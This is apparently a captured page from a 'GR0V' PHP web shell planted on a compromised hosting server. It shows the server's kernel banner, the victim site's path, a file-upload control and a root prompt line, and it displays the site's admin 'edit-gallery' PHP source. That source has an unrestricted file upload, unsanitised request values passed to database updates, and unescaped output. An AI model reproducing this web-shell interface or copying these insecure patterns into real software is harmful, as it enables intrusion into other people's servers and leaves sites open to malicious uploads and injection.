? GR0V Shell

GR0V shell

Linux node1.dnscloudserver.in 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64

Path : /home/yogsadhna/public_html/admin/
File Upload :
Current File : /home/yogsadhna/public_html/admin/edit-galleryphp

<?php 
include('includes/connection.php');
include('includes/allfunction.php');

$editid=$_GET['editid'];
$editdata=selectdatabyid('gallery',$editid);

if(isset($_POST['submit']))
{
  if(!empty($_FILES['image']['name']))
  {
    $filename=$_FILES['image']['name'];
    $tempname=$_FILES['image']['tmp_name'];
    move_uploaded_file($tempname,'uploads/'.$filename);
  }
  else 
  {
    $filename=$_POST['oldimage'];
  }
  
  date_default_timezone_set("Asia/Calcutta"); 
  
  $data=array(
  "image"=>'"'.$filename.'"',
  "status"=>'"'.$_POST['status'].'"',
  "modified_date"=>'"'.date('Y-m-d h:i:s').'"',
  
  );

  update('gallery',$data,$editid);
  header('location:all-gallery');
  
  
}
?>

<!DOCTYPE html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>Edit Event</title>
    <!-- plugins:css -->
  
    <?php include_once('includes/css.php'); ?>
  
  </head>
  <body>
    <div class="container-scroller">
      
      <!-- partial:partials/_navbar.html -->
      
     <?php include_once('includes/header.php'); ?>

      <!-- partial -->
      <div class="container-fluid page-body-wrapper">
        <!-- partial:partials/_sidebar.html -->
        
         <?php include_once('includes/sidebar.php'); ?>

        <!-- partial -->
        <div class="main-panel">
          <div class="content-wrapper">
           
            
            <div class="col-12 grid-margin stretch-card">
                <div class="card">
                  <div class="card-body">
                    <h4 class="card-title">Edit Event</h4>
                   <p></p>
                    <form class="forms-sample" method="post" enctype="multipart/form-data">

                      <div class="form-group">
           
           <img src="uploads/<?php echo $editdata['image'];?>" style="height:100px;">

           <p></p>
           
           <input type="hidden" name="oldimage" value="<?php echo $editdata['image'];?>">
           
                        <label>Image upload</label>
                        <input type="file" name="image" class="form-control">
                       
                      </div>
                
                      
                      <div class="form-group">
                        <label for="exampleSelectGender">Status</label>
                        <select class="form-select" id="exampleSelectGender" name="status">
                        <option value="">Select Status</option>  
                          <option value="1" <?php if($editdata['status']==1) echo 'selected'; ?>>Active</option>
                          <option value="0" <?php if($editdata['status']==0) echo 'selected'; ?>>Inactive</option>
                        </select>
                      </div>
                      
                      
                      
                      <button type="submit" name="submit" class="btn btn-gradient-primary me-2">Submit</button>
                    </form>
                  </div>
                </div>
              </div>
           
           
          </div>
          <!-- content-wrapper ends -->
          <!-- partial:partials/_footer.html -->

           <?php include_once('includes/footer.php'); ?>

          <!-- partial -->
        </div>
        <!-- main-panel ends -->
      </div>
      <!-- page-body-wrapper ends -->
    </div>
    <!-- container-scroller -->
    <!-- plugins:js -->
   
    <?php include_once('includes/script.php') ?>

    <!-- End custom js for this page -->
  </body>
</html>

T1KUS90T
  root-grov@65.21.25.53:~$